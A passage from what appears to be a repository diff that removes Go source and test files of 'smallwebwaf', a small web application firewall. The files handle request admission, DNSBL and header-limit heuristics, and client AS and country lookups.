body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes))
if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
h.refuseQuestion(w, "the body is over 64 KiB")
return netip.Addr{}, nil, false
}
if err != nil {
h.processLog.Warn("a question's body stopped arriving", "error", err.Error())
// This panic has Go's server close the connection without an answer,
// and log nothing.
panic(http.ErrAbortHandler)
}
held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
if held {
h.refuseQuestion(w, requestIDHeader+" is the id of a request discriminator holds")
return netip.Addr{}, nil, false
}
return client, body, true
}
// refuseQuestion answers a question discriminator does not take, for reason.
func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
h.processLog.Warn("a question is refused", "reason", reason)
http.Error(w, reason, http.StatusBadRequest)
}
// asTheVisitorSentIt returns a copy of r, a question, as the checks and the
// log line are to see it: without the headers rproxy adds for discriminator,
// with body, which has been read of r, and with the length the visitor
// announced, as -1 when it announced none. The question's own length covers
// only the part of the body it carries.
func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
sent := r.Clone(r.Context())
announced := sent.Header.Get(ContentLengthHeader)
sent.Header.Del(ClientHeader)
sent.Header.Del(PeerHeader)
sent.Header.Del(ContentLengthHeader)
sent.Header.Del("Content-Length")
sent.ContentLength = -1
length, err := strconv.ParseInt(announced, 10, 64)
if err == nil && length >= 0 {
sent.ContentLength = length
sent.Header.Set("Content-Length", announced)
}
sent.Body = http.NoBody
if len(body) > 0 {
sent.Body = io.NopCloser(bytes.NewReader(body))
}
return sent
}
// allow answers a question with DispositionAllow and, while
// SWW_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
func (rq *request) allow() {
rq.allowed = true
header := rq.out.Header()
header.Set(DispositionHeader, DispositionAllow)
if rq.h.config.AddLookupHeaders {
setLookupHeaders(header, rq.line.ASN, rq.line.Country)
}
rq.out.WriteHeader(http.StatusOK)
}
// holdForReport holds a copy of what the report's steps need, by the request's
// id. A report only ever reaches that copy, never the request being handled.
func (rq *request) holdForReport() {
held := rq.decision
rq.h.awaitingReport.Add(rq.line.RequestID, &held)
}
// deny answers a question with what the visitor is to get for r.
func (rq *request) deny(r refusal) {
rq.refused = &r
if r.status == 0 {
// SWW_BAN_RESPONSE is close. Written past rq.out, since the log line's
// status stays 0: the visitor is sent nothing.
rq.out.Header().Set(DispositionHeader, DispositionClose)
rq.out.ResponseWriter.WriteHeader(http.StatusOK)
return
}
rq.out.Header().Set(DispositionHeader, DispositionDeny)
http.Error(rq.out, http.StatusText(r.status), r.status)
}
// answerOwnEndpoint answers a request to discriminator's own address. No check
// runs on it: the address is on the private network, where the peers are
// rproxy and the admin's tools, not visitors.
func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost && r.URL.Path == ReportPath {
h.takeReport(w, r)
return
}
peer := peerAddress(r)
rq := h.startRequest(w, r, peer, peer, false)
defer rq.finish()
if r.Method == http.MethodGet && r.URL.Path == HealthPath {
rq.answerHealth()
return
}
rq.answerAdmin()
}
// takeReport answers POST ReportPath: it finishes the request the report
// names, if it holds that request's decision, and ignores the report
// otherwise.
func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
report, err := readReport(w, r)
if err != nil {
h.processLog.Warn("a report is refused", "error", err.Error())
http.Error(w, "the body is not a report", http.StatusBadRequest)
return
}
held, found := h.awaitingReport.Peek(report.RequestID)
// Remove reports true to one report only, of several that name the id. A
// question still being handled is held as nil.
if found && held != nil && h.awaitingReport.Remove(report.RequestID) {
h.finishWith(r.Context(), held, report)
}
w.WriteHeader(http.StatusNoContent)
}
// readReport reads a report from r's body, which must be one JSON object with
// all of Report's fields, in the ranges SPEC.md gives.
func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
var report Report
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes))
if err != nil {
return report, fmt.Errorf("read the body: %w", err)
}
var fields map[string]json.RawMessage
err = json.Unmarshal(body, &fields)
if err != nil {
return report, fmt.Errorf("decode the body: %w", err)
}
for _, name := range []string{
"request_id", "status", "request_bytes", "response_bytes",
"duration_total_ms", "duration_upstream_total_ms",
} {
value, there := fields[name]
if !there || string(value) == "null" {
return report, fmt.Errorf("%w: %s", errReportFieldMissing, name)
}
}
err = json.Unmarshal(body, &report)
if err != nil {
return report, fmt.Errorf("decode the body: %w", err)
}
return report, report.checkRanges()
}
// checkRanges returns an error for a value of the report that cannot be true.
func (report *Report) checkRanges() error {
switch {
case report.Status != 0 &&
(report.Status < http.StatusContinue || report.Status > maxHTTPStatus):
return fmt.Errorf("%w: status", errReportValue)
case report.RequestBytes < 0 || report.RequestBytes > maxReportedBytes:
return fmt.Errorf("%w: request_bytes", errReportValue)
case report.ResponseBytes < 0 || report.ResponseBytes > maxReportedBytes:
return fmt.Errorf("%w: response_bytes", errReportValue)
case report.DurationTotalMS < 0 || report.DurationTotalMS > maxReportedMilliseconds:
return fmt.Errorf("%w: duration_total_ms", errReportValue)
case report.DurationUpstreamTotalMS < 0 ||
report.DurationUpstreamTotalMS > maxReportedMilliseconds:
return fmt.Errorf("%w: duration_upstream_total_ms", errReportValue)
}
return nil
}
// finishWith finishes a request with what its report says, and writes the
// request's last log line, which holds its decision's fields and the report's.
// For an allowed request it first runs the heuristics of onReport, and adds the
// request to its client's history, the anomaly counters and the metrics, with
// the status and bytes the report gives. A denied request's counting was
// finished at its decision. ctx is the report's own context.
func (h *handler) finishWith(ctx context.Context, held *decision, report Report) {
rq := &request{
decision: *held,
h: h,
out: &responseWriter{status: report.Status, bytes: report.ResponseBytes},
requestBytes: report.RequestBytes,
}
rq.line.DiscriminatorLine = requestlog.DiscriminatorLineReport
rq.line.Status = report.Status
rq.line.RequestBytes = report.RequestBytes
rq.line.ResponseBytes = report.ResponseBytes
rq.line.DurationTotalMS = report.DurationTotalMS
if rq.allowed {
rq.line.DurationUpstreamTotalMS = &report.DurationUpstreamTotalMS
rq.runBanningHeuristics(ctx, onReport())
rq.countAnomalies()
rq.addToHistory()
rq.h.metrics.RequestReported(&rq.line,
time.Duration(report.DurationTotalMS*float64(time.Millisecond)),
time.Duration(report.DurationUpstreamTotalMS*float64(time.Millisecond)))
}
rq.writeLine()
}
internal/discriminator/discriminator_test.go
-1624
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File diff suppressed because it is too large. Load diff
internal/discriminator/dnsbl.go
-43
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@@ -1,43 +0,0 @@
package discriminator
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
// verdicts through the DNSBL checker.
import (
"context"
"strings"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
// the request when SWW_REPUTATION_ACTION is deny. Being
// limit, it lowers the client's limits instead (see limitPercentages), and
// being log, it does nothing more. A zone without a verdict on the client is
// asked about it in the background, and the request does not wait for the
// answer. Its figure is the zones that list the client, their keys masked.
type dnsbl struct{}
func (dnsbl) name() string { return "dnsbl" }
func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
listedBy := rq.h.dnsbl.ListedBy(ctx, rq.client)
rq.dnsblListed = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a DNSBL zone")
for _, zone := range listedBy {
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
}
if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
return nil
}
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{"zones": listedBy},
}
}
internal/discriminator/headerlimits.go
-71
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@@ -1,71 +0,0 @@
package discriminator
// The heuristic header_limits. It reads no setting: its limits are fixed.
import (
"context"
"strings"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The header limits: the most cookies and header fields a request may have
// when the checks reach the Core Rule Set. Real clients never reach them.
const (
maxCookies = 50
maxHeaderFields = 100
)
// headerLimits refuses a request over the header limits, with 431. Its figures
// are the request's header fields and cookies, and the limit of each.
type headerLimits struct{}
func (headerLimits) name() string { return "header_limits" }
func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
fields, cookies := rq.headerCounts()
if !overHeaderLimits(fields, cookies) {
return nil
}
return &verdict{
action: requestlog.ActionRequestHeaderTooLarge,
figures: map[string]any{
"fields": fields, "fields_limit": maxHeaderFields,
"cookies": cookies, "cookies_limit": maxCookies,
},
}
}
// overHeaderLimits reports whether a request with these counts of header fields
// and cookies, as headerCounts counts them, is over the header limits: it has
// more than maxHeaderFields fields or more than maxCookies cookies.
func overHeaderLimits(fields, cookies int) bool {
return fields > maxHeaderFields || cookies > maxCookies
}
// headerCounts returns the request's header fields, each value of a header sent
// twice being one, and its cookies, each part of a Cookie header between
// semicolons being one unless it is empty or only spaces and tabs. The Core
// Rule Set runs each of its rules on each cookie, so that thousands of small
// cookies keep it busy for over a second. It trims only spaces and control
// characters, of which a header value can hold only tabs, so a part of Unicode
// spaces is a cookie to it.
func (rq *request) headerCounts() (int, int) {
fields, cookies := 0, 0
for _, values := range rq.in.Header {
fields += len(values)
}
for _, value := range rq.in.Header.Values("Cookie") {
for part := range strings.SplitSeq(value, ";") {
if strings.Trim(part, " \t") != "" {
cookies++
}
}
}
return fields, cookies
}
internal/discriminator/health_test.go
-41
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@@ -1,41 +0,0 @@
package discriminator_test
import (
"net/http"
"testing"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
t.Parallel()
// With a limit of one request a minute, any request counted before
// the last one would have it refused.
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
const (
healthChecks = 3
contentType = "text/plain; charset=utf-8"
)
for range healthChecks {
got := s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "",
http.StatusOK)
if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
"with %q", got.body, got.header.Get("Content-Type"), contentType)
}
}
s.get(client, http.StatusOK, requestlog.ActionForward)
for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
if line.ResponseContentType != contentType {
t.Errorf("health check's log line has response_content_type %q, "+
"want %q", line.ResponseContentType, contentType)
}
}
}
internal/discriminator/heuristics.go
-140
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@@ -1,140 +0,0 @@
package discriminator
import (
"context"
"time"
)
// To add a heuristic, write one file with a type that implements heuristic,
// and add one line for it to one of the lists below. Its settings go in
// config.Config, and the comment at the top of its file names them.
// heuristic is one of the checks that decide what discriminator does with a
// request.
type heuristic interface {
// name is the heuristic's name, which the log line gives.
name() string
// check looks at the request at now, and returns nil to let it through.
// ctx is the request's own context.
check(ctx context.Context, rq *request, now time.Time) *verdict
}
// verdict is a heuristic refusing a request, or banning its client: the action
// the log line names, one of requestlog's Action constants, and the figures the
// heuristic acted on, by name, such as the count and the limit.
type verdict struct {
action string
figures map[string]any
}
// The names of the figures that more than one heuristic gives.
const (
figureWindow = "window"
figureCount = "count"
figureLimit = "limit"
figureScore = "score"
figureNetblock = "netblock"
)
// The lists of heuristics, each in the order its heuristics run. A client in
// SWW_ALLOW_NETS skips them all.
// beforeLookup are the heuristics that run before the client's AS number and
// country are looked up, so that a client they refuse is not looked up.
func beforeLookup() []heuristic {
return []heuristic{
tagLists{},
routeWatchTags{},
denyNets{},
activeBan{},
}
}
// afterLookup are the heuristics that run once the lookup has been made.
// tag_deny runs twice: before the rate limits, on the tags known by then, and
// last, on the tag rule_files and core_rule_set can add.
func afterLookup() []heuristic {
return []heuristic{
countries{},
blocklists{},
crowdSec{},
dnsbl{},
abuseIPDB{},
tagDeny{},
rateLimits{},
trapPaths{},
ruleFiles{},
headerLimits{},
coreRuleSet{},
tagDeny{},
}
}
// afterAnswer are the heuristics that run on a request once discriminator has
// answered it, before its decision line is written. They ban the client, and do
// not change what the request got: their verdict's action is not used.
func afterAnswer() []heuristic {
return []heuristic{
refusalLimit{},
}
}
// onReport are the heuristics that run on an allowed request when rproxy's
// report of it comes, before its report line is written. Like afterAnswer, they
// only ban.
func onReport() []heuristic {
return []heuristic{
byteLimits{},
}
}
// runAfterAnswer runs the heuristics of afterAnswer on the request, at the time
// it is called.
func (rq *request) runAfterAnswer(ctx context.Context) {
rq.runBanningHeuristics(ctx, afterAnswer())
}
// runHeuristics runs list, beforeLookup or afterLookup, on the request at now,
// and returns the first verdict, or nil when none gives one. The log line's
// heuristic and heuristic_figures name the heuristic that gave it, and give its
// figures. ctx is the request's own context.
func (rq *request) runHeuristics(
ctx context.Context, list []heuristic, now time.Time,
) *verdict {
name, v := rq.firstVerdict(ctx, list, now)
if v != nil {
rq.line.Heuristic = name
rq.line.HeuristicFigures = v.figures
}
return v
}
// runBanningHeuristics runs list, afterAnswer or onReport, on the request at
// the time it is called. The log line's after_answer_heuristic and
// after_answer_heuristic_figures name the heuristic that gave a verdict, and
// give its figures, so that heuristic and heuristic_figures still name the one
// that refused the request. ctx is the request's own context.
func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) {
name, v := rq.firstVerdict(ctx, list, rq.h.now())
if v != nil {
rq.line.AfterAnswerHeuristic = name
rq.line.AfterAnswerHeuristicFigures = v.figures
}
}
// firstVerdict runs list on the request at now, in order, until a heuristic
// gives a verdict, and returns that heuristic's name and its verdict, or "" and
// nil when none gives one. ctx is the request's own context.
func (rq *request) firstVerdict(
ctx context.Context, list []heuristic, now time.Time,
) (string, *verdict) {
for _, each := range list {
v := each.check(ctx, rq, now)
if v != nil {
return each.name(), v
}
}
return "", nil
}
internal/discriminator/history_test.go
-145
View File
@@ -1,145 +0,0 @@
package discriminator_test
import (
"io"
"net/http"
"net/netip"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "2",
tagDeny: denyKP,
})
start := clk.Now()
// Two let through, one over the limit, which bans the client, and one
// refused under that ban, for which the client is not looked up. GeoJS
// answers about the client at its first request, and its later ones
// use that answer.
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
clk.advance(time.Second)
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
clk.advance(time.Second)
s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
want := ratelimit.History{
FirstSeen: start,
LastSeen: start.Add(2 * time.Second),
ASN: asnDE,
ASName: asNameDE,
Country: "DE",
LookedUp: start,
Requests: 4,
Forwarded: 2,
Refused: 2,
// The app answers with no body, sww with its status text.
ResponseBytes: 2 * int64(len("Forbidden\n")),
Responses: ratelimit.Responses{Status2xx: 2, Status4xx: 2},
Offences: ratelimit.Offences{Limit: 1},
}
got := historyOf(t, server, fromDE)
if got != want {
t.Errorf("history\n%+v\nwant\n%+v", got, want)
}
}
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
// The third client drops the least recently seen, the first, with its
// history.
for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} {
s.get(from, http.StatusOK, requestlog.ActionForward)
}
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
if server.Limiter.Len() != 2 || held {
t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
"without it", server.Limiter.Len(), held)
}
}
func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
t.Parallel()
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_, _ = io.Copy(io.Discard, r.Body)
_, _ = io.WriteString(w, "hello")
})
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
wantStatus(t, got, http.StatusOK)
out.endedLine(t)
history := historyOf(t, server, localhost)
if history.RequestBytes != 3 || history.ResponseBytes != 5 {
t.Errorf("history counts %d bytes in and %d out, want 3 and 5",
history.RequestBytes, history.ResponseBytes)
}
}
func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "", http.StatusOK)
s.ownEndpointRequest("", http.MethodGet, discriminator.MetricsPath, "",
http.StatusUnauthorized)
s.scrape()
if clients := server.Limiter.Snapshot(); len(clients) != 0 {
t.Errorf("the table holds %+v, want no client", clients)
}
}
func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
out.endedLine(t)
history := historyOf(t, server, localhost)
if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
}
}
// historyOf returns the history of the client at addr.
func historyOf(
t *testing.T, server *discriminator.Server, addr string,
) ratelimit.History {
t.Helper()
client := netip.MustParsePrefix(addr + "/32")
for _, c := range server.Limiter.Snapshot() {
if c.Client == client {
return c.History
}
}
t.Fatalf("%s is not in the table", client)
return ratelimit.History{}
}
internal/discriminator/lookup.go
-109
View File
@@ -1,109 +0,0 @@
package discriminator
import (
"context"
"net/http"
"net/netip"
"strings"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/lookup"
)
// The headers in which an answer of allow gives rproxy the client's AS number
// and country, for the app, while SWW_ADD_LOOKUP_HEADERS is set. Go writes
// every header name in this form, as it sends it and as it receives it, so
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
const (
asnHeader = "X-Client-Asn"
countryHeader = "X-Client-Country"
)
// lookUp looks up the client's AS number and country, in the lookup
// database or through GeoJS, and notes them for the log line and as the
// request's asn= and country= tags, unless
// SWW_LOOKUP_SOURCE is off or the client is on a private, loopback or
// link-local address, which no lookup can place. The lookup database
// answers at once. With GeoJS, while a setting needs the answer, such as a
// country list or a biased threshold, a new client's request waits for it,
// unless refusedWhateverTheAnswer reports true. ctx is the request's own
// context.
func (rq *request) lookUp(ctx context.Context, now time.Time) {
if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) {
return
}
client := rq.h.clientGroup(rq.client)
switch {
case rq.h.config.LookupSource == "file":
rq.lookupAnswer = rq.h.lookupFile.LookUp(client)
case rq.refusedWhateverTheAnswer(now):
rq.lookupAnswer = rq.h.geojs.LookUpWithoutWaiting(ctx, client)
rq.skippedLookupWait = rq.lookupAnswer.Answered.IsZero()
default:
rq.lookupAnswer = rq.h.geojs.LookUp(ctx, client)
}
rq.lookedUp = true
rq.line.ASN = rq.lookupAnswer.ASN
rq.line.ASName = rq.lookupAnswer.ASName
rq.line.Country = rq.lookupAnswer.Country
if tag := asnTag(rq.line.ASN); tag != "" {
rq.addTag(tag)
}
if tag := countryTag(rq.line.Country); tag != "" {
rq.addTag(tag)
}
}
// asnTag returns the tag of asn, an AS number as the lookup gives it, such as
// asn=64496 for AS64496, or "" for no AS number.
func asnTag(asn string) string {
if asn == "" {
return ""
}
return config.ASNTagPrefix + strings.TrimPrefix(asn, "AS")
}
// countryTag returns the tag of country, a code as the lookup gives it, such
// as country=DE for DE, or "" for no country.
func countryTag(country string) string {
if country == "" {
return ""
}
return config.CountryTagPrefix + country
}
// addLookup adds answer, an answer about a client from the lookup
// database or GeoJS, to the client's history, and to the notes of the bans
// on its netblock that have no AS number, AS name or country yet.
func (h *handler) addLookup(answer lookup.Answer) {
h.limiter.AddLookup(answer.Client, answer.Answered,
answer.ASN, answer.ASName, answer.Country)
h.ledger.AddLookup(h.netblock(answer.Client.Addr()),
answer.ASN, answer.ASName, answer.Country)
}
// setLookupHeaders sets the headers that give the client's AS number and
// country, leaving out one that is unknown.
func setLookupHeaders(header http.Header, asn, country string) {
if asn != "" {
header.Set(asnHeader, asn)
}
if country != "" {
header.Set(countryHeader, country)
}
}
// canBePlaced reports whether a lookup can place addr: private, loopback
// and link-local addresses have no AS number or country.
func canBePlaced(addr netip.Addr) bool {
return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
}
internal/discriminator/lookup_test.go
-443
View File
@@ -1,443 +0,0 @@
package discriminator_test
import (
"net/http"
"net/netip"
"path/filepath"
"slices"
"sync"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// asnAndCountry is what a lookup gives a client: its AS number, AS name
// and country.
type asnAndCountry struct{ asn, asName, country string }
// fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
// lookup database.
const fileSource = "file"
func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) {
t.Parallel()
// The stand-in for GeoJS answers only once released. A request that
// waited for it would wait an hour, and get no answer within
// waitLimit.
geojsURL, asked, release := startHeldGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
})
// fromDE's second request breaks the limit and bans it, and fromKP
// comes too. None waits for GeoJS.
for _, line := range []logLine{
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited),
s.get(fromKP, http.StatusOK, requestlog.ActionForward),
} {
got := asnAndCountry{line.ASN, line.ASName, line.Country}
if got != (asnAndCountry{}) {
t.Errorf("log line has %+v before GeoJS answered, want nothing", got)
}
}
// Once GeoJS answers, each answer reaches the client's history, and
// fromDE's reaches the notes of its ban.
release()
netblock := netip.MustParsePrefix(fromDE + "/32")
waitUntil(func() bool {
return historyOf(t, server, fromDE).ASN != "" &&
historyOf(t, server, fromKP).ASN != "" &&
server.Ledger.Bans(netblock)[0].Notes.ASN != ""
})
de := asnAndCountry{asnDE, asNameDE, "DE"}
for addr, want := range map[string]asnAndCountry{
fromDE: de, fromKP: {asnKP, asNameKP, "KP"},
} {
h := historyOf(t, server, addr)
if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want {
t.Errorf("%s's history has %+v, want %+v", addr, got, want)
}
}
notes := server.Ledger.Bans(netblock)[0].Notes
if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de {
t.Errorf("the ban's notes have %+v, want %+v", got, de)
}
// GeoJS was asked about each client once, fromKP after fromDE, whose
// request was under way when fromKP came.
if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP)
}
}
func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
t.Parallel()
// The country list has a new client's request wait for its answer,
// which the stand-in for GeoJS gives only once released.
geojsURL, asked, release := startHeldGeoJS(t)
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
tagDeny: denyKP,
})
requestFromDE := func() *http.Request {
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, fromDE)
return req
}
// fromDE's first request arrives two seconds before a minute ends,
// and waits for GeoJS.
first, httpClient := requestFromDE(), newClient(t)
firstEnded := make(chan error, 1)
go func() {
res, err := httpClient.Do(first)
if err == nil {
err = readAnswer(res).err
}
firstEnded <- err
}()
waitUntil(func() bool { return len(asked()) == 1 })
// Half a second into the next minute, the answer is kept, as an edit
// of lookups.json would keep it, while the first request still waits
// for GeoJS. The second request goes on at once, and is counted.
clk.advance(2500 * time.Millisecond)
server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}})
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
// GeoJS answers, and the first request goes on.
release()
err := <-firstEnded
if err != nil {
t.Fatalf("first request: %v", err)
}
wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
// The third request's count holds all three: the first was counted
// when it went on, in the minute under way, and the second's count
// was kept.
clk.advance(500 * time.Millisecond)
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
t.Errorf("the third request's count in the minute is %v, want 3", got)
}
}
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
alertWebhookURL: "https://alerts.example/sww",
rateLimitPerMinute: "1",
})
s := &sender{t: t, addr: addr, out: out}
// The answer is kept before the requests, so GeoJS is not asked, and
// gives no answer of its own.
netblock := netip.MustParsePrefix(fromDE + "/32")
server.GeoJS.Load([]lookup.Answer{{
Client: netblock, ASN: asnDE, ASName: asNameDE, Country: "DE",
Answered: clk.Now(), Used: clk.Now(),
}})
want := asnAndCountry{asnDE, asNameDE, "DE"}
for _, line := range []logLine{
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited),
} {
if got := (asnAndCountry{line.ASN, line.ASName, line.Country}); got != want {
t.Errorf("log line has %+v, want %+v", got, want)
}
}
h := historyOf(t, server, fromDE)
if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want ||
!h.LookedUp.Equal(clk.Now()) {
t.Errorf("history has %+v, looked up at %s; want %+v, at %s",
got, h.LookedUp, want, clk.Now())
}
notes := server.Ledger.Bans(netblock)[0].Notes
if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != want {
t.Errorf("the ban's notes have %+v, want %+v", got, want)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("alerts waiting %+v, want the ban's alone", waiting)
}
alert := waiting[0]
if got := (asnAndCountry{alert.ASN, alert.ASName, alert.Country}); got != want {
t.Errorf("the ban's alert has %+v, want %+v", got, want)
}
}
func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
t.Parallel()
geojsURL, asked := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"})
// Even an answer kept from before is not used.
server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}})
for _, from := range []string{fromDE, fromKP} {
line := s.get(from, http.StatusOK, requestlog.ActionForward)
got := asnAndCountry{line.ASN, line.ASName, line.Country}
if got != (asnAndCountry{}) {
t.Errorf("log line has %+v, want nothing", got)
}
}
if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() {
t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp)
}
if len(asked()) != 0 {
t.Errorf("GeoJS was asked about %v, want nothing", asked())
}
}
func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
t.Parallel()
geojsURL, asked := startGeoJS(t)
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, path, map[string]lookuptest.Network{
fromDE + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
fromKP + "/32": {ASN: asnKP, ASName: asNameKP, Country: "KP"},
})
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupSource: fileSource,
lookupDBPath: path,
allowedCountries: "DE",
rateLimitPerMinute: "1",
})
// fromDE's second request breaks the limit and bans it. The list
// refuses fromKP, and unplaced, which the file does not hold.
de := asnAndCountry{asnDE, asNameDE, "DE"}
for _, tc := range []struct {
line logLine
want asnAndCountry
}{
{s.get(fromDE, http.StatusOK, requestlog.ActionForward), de},
{s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited), de},
{
s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
asnAndCountry{asnKP, asNameKP, "KP"},
},
{
s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied),
asnAndCountry{},
},
} {
got := asnAndCountry{tc.line.ASN, tc.line.ASName, tc.line.Country}
if got != tc.want {
t.Errorf("log line has %+v, want %+v", got, tc.want)
}
}
h := historyOf(t, server, fromDE)
if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != de ||
!h.LookedUp.Equal(clk.Now()) {
t.Errorf("history has %+v, looked up at %s; want %+v, at %s",
got, h.LookedUp, de, clk.Now())
}
notes := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))[0].Notes
if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de {
